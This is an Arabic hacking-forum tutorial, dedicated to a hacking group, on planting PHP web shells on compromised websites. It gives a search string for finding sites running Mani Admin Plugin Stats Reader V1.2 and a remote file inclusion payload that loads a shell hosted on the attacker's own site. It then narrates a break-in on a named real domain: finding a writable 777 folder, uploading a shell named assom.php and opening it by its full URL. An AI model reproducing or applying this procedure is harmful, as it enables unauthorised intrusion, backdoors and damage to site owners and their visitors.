بسم الله الرحمان الرحيم
السلام عليكم
هدا الدرس اهداء الى منضمة البركان + q8lv.net
هناك العديد من الاخوان لا يعرفون كيف يمكن رفع السيل على الموقع المصاب و اليوم انشاء الله سنتحدث عليه
اولا سنبدا بالطرق التي تمكننا من رفع الشيل
1/ و يضهر لنا لينك تحميل و نضغط عليه و مباشرة نجد انفسنا داخل الشيلname.php.rar اما عن طريق مراكز التحميل و التي تقبل رفع الوينرار و يمكن رفع الشيل على هدا الركز بهده الطريقة
2/ name.txt? عن طريق تغرات الفايل انكلود التي تسمح لنا باضافة لينك الشيل الدي رفعناه على موقعنا و يجب ان ينتهي الرابط بالتالي
3/ عن طريق تغرات الكوموند التي تسمح لنا بتطبيق اوامر اللينكس من التصفح و كدالك استدعا الشيل و رفعه على الموقع
و في شرحنا هدا ساشرح على تغرات الفايل انكلود فقد توصلت اليوم على تغرة من احد الماقع السيكيرتي فهيا دعونا نلقي نضرة على هده التغرة
Mani Stats Reader V1.2
ادخل عالجوجل واكتب
كود:
Mani Admin Plugin Stats Reader V1.2
وهذا الاستغلال
كود:
index.php?ipath=evilshit
الان لنشرح الثغرة على السريع
index.php?ipath = مسار الملف المصاب او الملف الصاب
evilshit = رابط الشيل اللي رفعناه على موقعنا و لا تنسى و ضع علامة الاستفام بنهايته
الان لما دخلنا على محرك البحث حصلنا على مواقع كثيرة مصابة بهده التغرة ساخد و احد منهم و ساشرح عليه يلاه بنا للتطبيق
كما انتم شايفين الرابط كيف سار قمت باصافة الاستثمار مباشرة بعد الملف المصاب و تم استدعاء الشيل من موقعي انا المجاني وطبعا السيف موود اوف
الان بمجرد ان دخلنا على الشيل اول حاجة لازم ندورو عليها هي ملف يحمل التصريح 777 لكي نحمل عليه الشيل الخاص بنا شوفو معي الصورة
شاهدوا معي الصورة نقوم بالدخول اليه بهد الطريقة history كما تشاهدوا معي و جدت ملف عليه التصريح 777 و اللي هو ملف
نسوي له كوبي و نلصقه بقرب من ملف النيوك و نضغط اكسيكيتي تابعوا معي الصورة
و لما ندخل على المجلد ندهب مباشرة الى الاسفل كما بالصورة
history ملحوطة يجب الا ننسى المسار اللي نحن عليه لاننا سننحتاجه عندما نرفع السيل على الملف
http://trekkernet.de/manistats/nuke/history/ و المسار اللي حنا عليه على الموقع هو
ولما نرفع الشيل بصيغة النتشبي على المجلد نتاكد من انه تم رفعه بنجاح انضروا معي الصورة
كما ترون تم رفع الشيل على الموقع مباشرة تابعوا كيف سندخل على الشيل اللي رفعناه على الوقع
احنا اصلا في المار التالي على الموقع
http://trekkernet.de/manistats/nuke/history/ و المسار اللي حنا عليه اصلا على الوقع هو الموقع هو
assom.php ما علينا سوى ان نضيف اليه اسم الشيل الي رفعناه عليه اللي هو
http://trekkernet.de/manistats/nuke/history/assom.php ليكون الرابط كالتالي
لنرى على مادا سنحصل عليه
يلاه مبروك لك رفع الشيل على الموقع و اتركك هنا تشابيك مع الموقع
و اتمنى ان يعجبكم الدرس و نلتقي في شرح اخر انشاء الله
في انتضار ردودكم و استفساراتكم و انشاء الله بجاوب عليها